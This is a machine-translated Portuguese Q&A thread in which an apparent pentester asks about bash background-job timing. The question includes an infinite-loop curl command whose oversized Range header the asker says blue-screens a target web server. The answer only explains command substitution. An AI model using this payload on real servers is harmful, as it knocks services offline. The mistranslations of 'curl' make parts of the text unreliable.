Tarefas em segundo plano assíncronas no linux podem interferir umas nas outras?

0

Eu estava tentando usar um comando linux repetidamente e decidi usar o script bash. O comando está curvado e possui uma tela azul fornecida ao servidor da Web de destino. Eu estava fazendo isso como um pentester na minha empresa. Então, eu queria repetir este comando curl vezes infinitas e tive sucesso com os comandos do loop de script bash. O comando final está no seguinte:

Terminal LTS do Ubuntu 14.04:

while :; do $(curl -v http://172.16.3.107/welcome.png -H "Range: bytes=18-18446744073709551615" & sleep 5 & pkill curl); done

Mas há algo que não consigo entender claramente: De acordo com alguns artigos e perguntas-respostas, cada comando em (comando1 e comando2 e comando3 como linha única) é executado de forma assíncrona e, portanto, eles são executados simultaneamente sem esperar um outro. Mas no resultado do código de ataque acima, a saída da onda é repetida em "a cada 5 segundos". Ou seja, o curl está em execução, depois são esperados 5 segundos e, em seguida, o curl é interrompido. Depois disso, a curvatura é executada novamente. Portanto, a saída é exibida novamente a cada 5 segundos. Então esses comandos interferem um no outro. Mas artigos na internet e respostas a perguntas dizem o contrário. Alguém pode deixar isso claro?

Nota: Por força do parâmetro de ataque do curl, o curl está pendente. Não completando. Portanto, estou usando o comando sleep e, em seguida, pkill, respectivamente. Assim, eu posso usar o comando curl corretamente e repetidamente com o parâmetro de ataque.

Links relacionados:

1) (comando1 & comando2 & comando3 &) Executa vários trabalhos em paralelo

Como executar vários trabalhos em segundo plano no linux?

2) (comando1 & comando2 & comando3 &) É executado ao mesmo tempo, em sub-compartimentos separados

link

3) Amostra de diagrama assíncrona (multi-threaded)

link

    
por Hasan 17.08.2018 / 09:36

1 resposta

0

Você pode pensar na execução assim:

  • curl -v ... , sleep 5 , pkill curl são quase executados simultaneamente
  • É bem possível que, quando pkill curl for executado, o primeiro comando curl tenha acabado de receber alguns dados. E então é morto.
  • A substituição do comando $( ... ) envolvendo a coisa toda aguarda até que todos os comandos terminem. Consulte Por que a função não retorna até que o processo em segundo plano termine? Só então ela apresenta toda a saída que possui, é qualquer dado curl recebido. Corra, digamos, echo $(date & sleep 5); date para verificar isso - você terá que esperar que a primeira saída apareça.
  • Repetir.

Então você vê a saída de curl (em vez disso, você está executando a saída da substituição do comando aqui, não sei por que) uns cinco segundos após curl ter sido morto.

Note: By force of curl's attacking parameter, curl is pending.

Não faz ideia do que você quer dizer com "parâmetro de ataque".

    
por 17.08.2018 / 11:18